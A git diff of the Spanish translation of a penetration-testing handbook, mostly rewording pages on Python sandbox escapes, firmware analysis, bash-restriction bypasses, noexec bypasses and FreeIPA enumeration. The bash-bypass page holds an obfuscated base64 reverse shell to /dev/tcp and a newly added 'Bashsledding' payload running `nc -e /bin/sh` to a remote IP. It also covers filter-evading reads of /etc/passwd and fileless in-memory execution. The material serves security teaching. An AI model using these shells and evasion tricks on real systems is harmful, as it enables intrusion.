-Según el [**desafío TypeMonkey de este informe**](https://corgi.rip/posts/buckeye-writeups/), es posible cargar bibliotecas arbitrarias desde el disco abusando de la vulnerabilidad de cadena de formato en python.
+Según el [**desafío TypeMonkey de este informe**](https://corgi.rip/posts/buckeye-writeups/), es posible cargar bibliotecas arbitrarias desde el disco abusando de la vulnerabilidad de formato de cadena en python.
Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo, `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Tienes más como esto en la sección [**Ejecución de Python sin llamadas**](#python-execution-without-calls).
-Una vulnerabilidad de cadena de formato en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
+Una vulnerabilidad de formato de cadena en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
Sin embargo, es posible usar `[]`. Por lo tanto, si una biblioteca común de python tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE.
Buscando un gadget así en python, el informe propone esta [**consulta de búsqueda en Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Donde encontró este [uno](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
@@ -772,10 +773,10 @@ El desafío en realidad abusa de otra vulnerabilidad en el servidor que permite
## Disectando Objetos de Python
-> [!NOTE]
+> [!TIP]
> Si quieres **aprender** sobre **bytecode de python** en profundidad, lee este **increíble** post sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
-En algunos CTFs, se te podría proporcionar el nombre de una **función personalizada donde reside la bandera** y necesitas ver los **internos** de la **función** para extraerla.
+En algunos CTFs se te podría proporcionar el nombre de una **función personalizada donde reside la bandera** y necesitas ver los **internos** de la **función** para extraerla.
Esta es la función a inspeccionar:
```python
@@ -824,7 +825,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
-### Obtener información del código
+### Obtener Información del Código
```python
# Another example
s = '''
@@ -898,7 +899,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
-Nota que **si no puedes importar `dis` en la sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.
+Tenga en cuenta que **si no puede importar `dis` en la sandbox de python** puede obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verá el contenido de las variables que se están cargando (`LOAD_CONST`), pero puede inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@@ -938,7 +939,7 @@ return "Nope"
```
### Creando el objeto de código
-Primero que nada, necesitamos saber **cómo crear y ejecutar un objeto de código** para que podamos crear uno para ejecutar nuestra función filtrada:
+Primero que nada, necesitamos saber **cómo crear y ejecutar un objeto de código** para que podamos crear uno para ejecutar nuestra función leak:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@@ -957,7 +958,7 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
-> [!NOTE]
+> [!TIP]
> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de conocer el orden de los parámetros en la versión de python que estás ejecutando es ejecutar:
>
> ```
@@ -1020,21 +1021,22 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
-## Decompilando Python Compilado
+## Decompilación de Python Compilado
-Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** código python compilado dado.
+Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** el código python compilado dado.
**Consulta este tutorial**:
+
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
-## Misc Python
+## Python Varios
-### Assert
+### Afirmar
-Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional en el valor de **debug**.\
+Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de afirmación y cualquier código condicional en el valor de **debug**.\
Por lo tanto, verificaciones como
```python
def check_permission(super_user):
diff --git a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
index aa87cb424..97fb1c71a 100644
--- a/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
+++ b/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@@ -180,7 +180,7 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
-Sobrescribiendo __kwdefaults__
+Sobreescribiendo __kwdefaults__
**`__kwdefaults__`** es un atributo especial de todas las funciones, basado en la [documentación](https://docs.python.org/3/library/inspect.html) de Python, es un “mapeo de cualquier valor predeterminado para parámetros **solo de palabra clave**”. Contaminar este atributo nos permite controlar los valores predeterminados de los parámetros solo de palabra clave de una función, estos son los parámetros de la función que vienen después de \* o \*args.
```python
@@ -226,7 +226,7 @@ execute() #> Executing echo Polluted
Sobrescribiendo el secreto de Flask a través de archivos
Entonces, si puedes hacer una contaminación de clase sobre un objeto definido en el archivo python principal de la web pero **cuyo clase está definida en un archivo diferente** al principal. Porque para acceder a \_\_globals\_\_ en las cargas útiles anteriores necesitas acceder a la clase del objeto o métodos de la clase, podrás **acceder a los globals en ese archivo, pero no en el principal**. \
-Por lo tanto, **no podrás acceder al objeto global de la aplicación Flask** que definió la **clave secreta** en la página principal:
+Por lo tanto, **no podrás acceder al objeto global de la app de Flask** que definió la **clave secreta** en la página principal:
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
diff --git a/src/hardware-physical-access/firmware-analysis/README.md b/src/hardware-physical-access/firmware-analysis/README.md
index df218cd6b..028f8e190 100644
--- a/src/hardware-physical-access/firmware-analysis/README.md
+++ b/src/hardware-physical-access/firmware-analysis/README.md
@@ -25,7 +25,7 @@ El firmware es un software esencial que permite a los dispositivos operar correc
- Diagramas arquitectónicos y de flujo
- Evaluaciones de seguridad y vulnerabilidades identificadas
-Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, así como el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [LGTM de Semmle](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales.
+Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [Semmle’s LGTM](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales.
## **Adquisición del Firmware**
@@ -35,7 +35,7 @@ Obtener firmware se puede abordar a través de varios medios, cada uno con su pr
- **Construyéndolo** a partir de instrucciones proporcionadas
- **Descargando** de sitios de soporte oficiales
- Utilizando consultas de **Google dork** para encontrar archivos de firmware alojados
-- Accediendo a **almacenamiento en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
+- Accediendo al **almacenamiento en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interceptando **actualizaciones** a través de técnicas de hombre en el medio
- **Extrayendo** del dispositivo a través de conexiones como **UART**, **JTAG** o **PICit**
- **Esnifando** solicitudes de actualización dentro de la comunicación del dispositivo
@@ -66,7 +66,7 @@ O [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/
### Obtener el Sistema de Archivos
-Con las herramientas comentadas anteriormente como `binwalk -ev `, deberías haber podido **extraer el sistema de archivos**.\
+Con las herramientas comentadas anteriormente, como `binwalk -ev `, deberías haber podido **extraer el sistema de archivos**.\
Binwalk generalmente lo extrae dentro de una **carpeta nombrada como el tipo de sistema de archivos**, que suele ser uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extracción Manual del Sistema de Archivos
@@ -161,7 +161,7 @@ Con el sistema de archivos extraído, comienza la búsqueda de fallos de segurid
Varias herramientas ayudan a descubrir información sensible y vulnerabilidades dentro del sistema de archivos:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para la búsqueda de información sensible
-- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para un análisis completo de firmware
+- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para un análisis exhaustivo del firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico
### Comprobaciones de Seguridad en Binarios Compilados
@@ -170,7 +170,7 @@ Tanto el código fuente como los binarios compilados encontrados en el sistema d
## Emulando Firmware para Análisis Dinámico
-El proceso de emular firmware permite un **análisis dinámico** ya sea de la operación de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
+El proceso de emular firmware permite un **análisis dinámico** ya sea del funcionamiento de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
### Emulando Binarios Individuales
@@ -186,7 +186,7 @@ Y para instalar las herramientas de emulación necesarias:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
-Para MIPS (big-endian), se utiliza `qemu-mips`, y para binarios little-endian, `qemu-mipsel` sería la elección.
+Para MIPS (big-endian), se utiliza `qemu-mips`, y para binarios little-endian, la elección sería `qemu-mipsel`.
#### Emulación de Arquitectura ARM
@@ -244,7 +244,7 @@ En el firmware vulnerable (degradado), el parámetro `md5` se concatena directam
### Extracción de Firmware de Aplicaciones Móviles
-Muchos proveedores empaquetan imágenes de firmware completas dentro de sus aplicaciones móviles complementarias para que la aplicación pueda actualizar el dispositivo a través de Bluetooth/Wi-Fi. Estos paquetes se almacenan comúnmente sin cifrar en el APK/APEX bajo rutas como `assets/fw/` o `res/raw/`. Herramientas como `apktool`, `ghidra` o incluso el simple `unzip` te permiten extraer imágenes firmadas sin tocar el hardware físico.
+Muchos proveedores agrupan imágenes de firmware completas dentro de sus aplicaciones móviles complementarias para que la aplicación pueda actualizar el dispositivo a través de Bluetooth/Wi-Fi. Estos paquetes se almacenan comúnmente sin cifrar en el APK/APEX bajo rutas como `assets/fw/` o `res/raw/`. Herramientas como `apktool`, `ghidra` o incluso el simple `unzip` te permiten extraer imágenes firmadas sin tocar el hardware físico.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
@@ -255,8 +255,8 @@ firmware_v1.3.11.490_signed.bin
* ¿Está adecuadamente protegida la *autenticación/transporte del endpoint de actualización* (TLS + autenticación)?
* ¿Compara el dispositivo **números de versión** o un **contador anti-retroceso monotónico** antes de flashear?
* ¿Se verifica la imagen dentro de una cadena de arranque seguro (por ejemplo, firmas verificadas por código ROM)?
-* ¿El código de espacio de usuario realiza verificaciones adicionales de coherencia (por ejemplo, mapa de particiones permitido, número de modelo)?
-* ¿Los flujos de actualización *parciales* o *de respaldo* reutilizan la misma lógica de validación?
+* ¿El código de espacio de usuario realiza verificaciones adicionales de sensatez (por ejemplo, mapa de particiones permitido, número de modelo)?
+* ¿Los flujos de actualización *parcial* o *de respaldo* reutilizan la misma lógica de validación?
> 💡 Si falta alguno de los anteriores, la plataforma probablemente sea vulnerable a ataques de retroceso.
@@ -272,7 +272,7 @@ Para practicar la detección de vulnerabilidades en firmware, utiliza los siguie
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
-- VM 2.0 de Azeria Labs
+- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Dispositivo IoT Damn Vulnerable (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
diff --git a/src/linux-hardening/bypass-bash-restrictions/README.md b/src/linux-hardening/bypass-bash-restrictions/README.md
index 4e7f4c4b5..ca5a3325b 100644
--- a/src/linux-hardening/bypass-bash-restrictions/README.md
+++ b/src/linux-hardening/bypass-bash-restrictions/README.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## Bypass de Limitaciones Comunes
+## Bypasses de Limitaciones Comunes
-### Shell Inversa
+### Reverse Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
@@ -105,7 +105,7 @@ echo "ls\x09-l" | bash
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
-### Bypass backslash y slash
+### Bypass backslash and slash
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
@@ -296,7 +296,8 @@ ln /f*
```
## Bypass de Solo Lectura/Noexec/Distroless
-Si estás dentro de un sistema de archivos con las **protecciones de solo lectura y noexec** o incluso en un contenedor distroless, aún hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:**
+Si estás dentro de un sistema de archivos con las **protecciones de solo lectura y noexec** o incluso en un contenedor distroless, todavía hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:**
+
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
@@ -304,15 +305,38 @@ bypass-fs-protections-read-only-no-exec-distroless/
## Bypass de Chroot y otras Cárceles
+
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
-## Referencias y Más
+## NOP Sled Basado en Espacio ("Bashsledding")
+
+Cuando una vulnerabilidad te permite controlar parcialmente un argumento que finalmente llega a `system()` u otro shell, es posible que no sepas el desplazamiento exacto en el que la ejecución comienza a leer tu carga útil. Los NOP sleds tradicionales (por ejemplo, `\x90`) **no** funcionan en la sintaxis de shell, pero Bash ignorará inofensivamente los espacios en blanco iniciales antes de ejecutar un comando.
+
+Por lo tanto, puedes crear un *NOP sled para Bash* prefijando tu comando real con una larga secuencia de espacios o caracteres de tabulación:
+```bash
+# Payload sprayed into an environment variable / NVRAM entry
+" nc -e /bin/sh 10.0.0.1 4444"
+# 16× spaces ───┘ ↑ real command
+```
+Si una cadena ROP (o cualquier primitiva de corrupción de memoria) coloca el puntero de instrucción en cualquier lugar dentro del bloque de espacio, el analizador de Bash simplemente omite los espacios en blanco hasta que llega a `nc`, ejecutando tu comando de manera confiable.
+
+Casos de uso prácticos:
+
+1. **Blobs de configuración mapeados en memoria** (por ejemplo, NVRAM) que son accesibles entre procesos.
+2. Situaciones en las que el atacante no puede escribir bytes NULL para alinear la carga útil.
+3. Dispositivos embebidos donde solo está disponible BusyBox `ash`/`sh` – también ignoran los espacios en blanco al principio.
+
+> 🛠️ Combina este truco con gadgets ROP que llaman a `system()` para aumentar drásticamente la fiabilidad de la explotación en enrutadores IoT con limitaciones de memoria.
+
+## Referencias y más
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
-- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
+- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
+
+- [Explotando días cero en hardware abandonado – Blog de Trail of Bits](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index 1897a9e82..2f83f458e 100644
--- a/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -29,7 +29,7 @@ securityContext:
Sin embargo, incluso si el sistema de archivos está montado como ro, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección no-exec**, por lo que si descargas un binario aquí **no podrás ejecutarlo**.
> [!WARNING]
-> Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no están en el sistema ya (como puertas traseras o enumeradores como `kubectl`).
+> Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no están ya en el sistema (como puertas traseras o enumeradores como `kubectl`).
## Easiest bypass: Scripts
@@ -45,10 +45,10 @@ Si deseas ejecutar un binario pero el sistema de archivos no lo permite, la mejo
Si tienes algunos motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones y luego llamar a una **`exec` syscall** indicando el **fd como el archivo a ejecutar**.
-Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificar y descomprimirlo** en un **fd** creado llamando a la syscall `create_memfd` y una llamada a la syscall **exec** para ejecutarlo.
+Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificar y descomprimirlo** en un **fd** creado llamando a `create_memfd` syscall y una llamada a la **exec** syscall para ejecutarlo.
> [!WARNING]
-> Esto no funciona en otros lenguajes de scripting como PHP o Node porque no tienen ninguna **manera predeterminada de llamar a syscalls en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
+> Esto no funciona en otros lenguajes de scripting como PHP o Node porque no tienen ninguna **manera predeterminada de llamar a syscalls en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **memory fd** para almacenar el binario.
>
> Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo porque se aplicará la **protección no-exec**.
@@ -56,7 +56,7 @@ Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://g
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) es una técnica que te permite **modificar la memoria de tu propio proceso** sobrescribiendo su **`/proc/self/mem`**.
-Por lo tanto, **controlando el código ensamblador** que se está ejecutando en el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**.
+Por lo tanto, **controlando el código ensamblador** que se está ejecutando por el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**.
> [!TIP]
> **DDexec / EverythingExec** te permitirá cargar y **ejecutar** tu propio **shellcode** o **cualquier binario** desde **memoria**.
@@ -74,7 +74,7 @@ ddexec.md
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **DDexec shellcode demonizado**, por lo que cada vez que quieras **ejecutar un binario diferente** no necesitas relanzar DDexec, solo puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
-Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell reverso de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
+Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un reverse shell de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
@@ -88,24 +88,23 @@ Los contenedores distroless contienen solo los **componentes mínimos necesarios
El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores al eliminar componentes innecesarios** y minimizar el número de vulnerabilidades que pueden ser explotadas.
-### Shell Reverso
+### Reverse Shell
En un contenedor distroless, es posible que **ni siquiera encuentres `sh` o `bash`** para obtener un shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que normalmente ejecutas en un sistema.
> [!WARNING]
-> Por lo tanto, **no podrás** obtener un **shell reverso** o **enumerar** el sistema como lo haces normalmente.
+> Por lo tanto, **no** podrás obtener un **reverse shell** o **enumerar** el sistema como lo haces normalmente.
-Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un flask web, entonces python está instalado, y por lo tanto puedes obtener un **shell reverso de Python**. Si está ejecutando node, puedes obtener un shell rev de Node, y lo mismo con casi cualquier **lenguaje de scripting**.
+Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, un flask web, entonces python está instalado, y por lo tanto puedes obtener un **reverse shell de Python**. Si está ejecutando node, puedes obtener un reverse shell de Node, y lo mismo con casi cualquier **lenguaje de scripting**.
> [!TIP]
> Usando el lenguaje de scripting podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
-Si no hay protecciones de **`read-only/no-exec`**, podrías abusar de tu shell reverso para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
+Si no hay protecciones de **`read-only/no-exec`**, podrías abusar de tu reverse shell para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
> [!TIP]
> Sin embargo, en este tipo de contenedores, estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para eludirlas**.
-Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener shells reversos de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
-
+Puedes encontrar **ejemplos** sobre cómo **explotar algunas vulnerabilidades RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/freeipa-pentesting.md b/src/linux-hardening/freeipa-pentesting.md
index 27c44f4d1..27363fe0f 100644
--- a/src/linux-hardening/freeipa-pentesting.md
+++ b/src/linux-hardening/freeipa-pentesting.md
@@ -4,20 +4,20 @@
## Información Básica
-FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y admite autenticación **multi-factor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix.
+FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utilizando el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, admite autenticación **multifactor** que incluye tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix.
## Huellas
### Archivos y Variables de Entorno
-- El archivo en `/etc/krb5.conf` es donde se almacena la información del cliente Kerberos, necesaria para la inscripción en el dominio. Esto incluye ubicaciones de KDCs y servidores administrativos, configuraciones predeterminadas y asignaciones.
+- El archivo en `/etc/krb5.conf` es donde se almacena la información del cliente Kerberos, necesaria para la inscripción en el dominio. Esto incluye las ubicaciones de los KDC y servidores administrativos, configuraciones predeterminadas y asignaciones.
- Las configuraciones predeterminadas a nivel de sistema para clientes y servidores IPA se establecen en el archivo ubicado en `/etc/ipa/default.conf`.
- Los hosts dentro del dominio deben tener un archivo `krb5.keytab` en `/etc/krb5.keytab` para los procesos de autenticación.
- Varias variables de entorno (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) se utilizan para apuntar a archivos y configuraciones específicas relevantes para la autenticación Kerberos.
### Binarios
-Herramientas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` y `kvno` son centrales para gestionar dominios FreeIPA, manejar tickets Kerberos, cambiar contraseñas y adquirir tickets de servicio, entre otras funcionalidades.
+Herramientas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` y `kvno` son clave para gestionar dominios FreeIPA, manejar tickets Kerberos, cambiar contraseñas y adquirir tickets de servicio, entre otras funcionalidades.
### Red
@@ -37,9 +37,9 @@ Alternativamente, los Tickets CCACHE pueden almacenarse en el keyring de Linux,
### Keytab
-Los archivos keytab, que contienen principios Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets válidos (TGT) sin necesidad de la contraseña del principio. El análisis y la reutilización de credenciales de archivos keytab se pueden realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**.
+Los archivos keytab, que contienen principales de Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets válidos (TGT) sin necesidad de la contraseña del principal. El análisis y la reutilización de credenciales de archivos keytab se pueden realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**.
-### Hoja de Trucos
+### Hoja de trucos
Puedes encontrar más información sobre cómo usar tickets en linux en el siguiente enlace:
@@ -56,7 +56,7 @@ privilege-escalation/linux-active-directory.md
Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se organizan en contenedores llamados “**Grupos de Hosts**” y “**Grupos de Usuarios**” respectivamente. Estos son similares a las **Unidades Organizativas** (OU).
-Por defecto en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos es enumerable **no autenticada**. Esto puede enumerar todos los datos disponibles no autenticados:
+Por defecto en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos es enumerable **sin autenticar**. Esto puede enumerar todos los datos disponibles sin autenticar:
```
ldapsearch -x
```
@@ -88,14 +88,14 @@ ipa usergroup-show --all
ipa host-find --all
ipa hostgroup-show --all
```
-> [!NOTE]
+> [!TIP]
> El usuario **admin** de **FreeIPA** es el equivalente a **domain admins** de **AD**.
### Hashes
-El usuario **root** del servidor **IPA** tiene acceso a los **hashes** de contraseña.
+El usuario **root** del servidor **IPA** tiene acceso a los **hashes** de contraseñas.
-- El hash de contraseña de un usuario se almacena como **base64** en el atributo “**userPassword**”. Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2_SHA256**.
+- El hash de la contraseña de un usuario se almacena como **base64** en el atributo “**userPassword**”. Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2_SHA256**.
- El **Nthash** de la contraseña se almacena como **base64** en “**ipaNTHash**” si el sistema tiene **integración** con **AD**.
Para romper estos hashes:
diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md
index 05ac1b52d..ba9fef3e7 100644
--- a/src/linux-hardening/linux-post-exploitation/README.md
+++ b/src/linux-hardening/linux-post-exploitation/README.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
